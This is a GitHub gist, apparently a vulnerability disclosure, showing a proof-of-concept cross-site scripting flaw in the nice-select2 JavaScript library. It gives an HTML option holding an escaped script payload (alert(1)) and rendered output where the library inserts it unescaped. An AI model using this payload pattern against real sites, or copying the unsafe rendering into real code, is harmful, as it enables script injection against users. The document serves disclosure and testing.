Skip to content

Instantly share code, notes, and snippets.

@OlegChuev
Created July 30, 2025 13:58
Show Gist options
  • Save OlegChuev/d63ff181f47739280ffa11cf190792bd to your computer and use it in GitHub Desktop.
Save OlegChuev/d63ff181f47739280ffa11cf190792bd to your computer and use it in GitHub Desktop.
nice-select2 XSS
# Pre-requisites
```bash
yarn add nice-select2
```
# HTML Element
```html
<select id="test">
<option value="123">&lt;script&gt;javascript:alert(1)&lt;/script&gt;</option>
</select>
```
# JS file
```js
import NiceSelect from 'nice-select2/dist/js/nice-select2.js'
new NiceSelect(document.querySelector('#test'), { searchable: true })
```
# Output
```html
<div class="nice-select" tabindex="0">
<span class="current">
<script>javascript:alert(1)</script>
</span>
<div class="nice-select-dropdown">
<div class="nice-select-search-box">
<input type="text" class="nice-select-search" placeholder="Search..." title="search">
</div>
<ul class="list">
<li data-value="123" class="option selected null">
<script>javascript:alert(1)</script>
</li>
</ul>
</div>
</div>
```
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment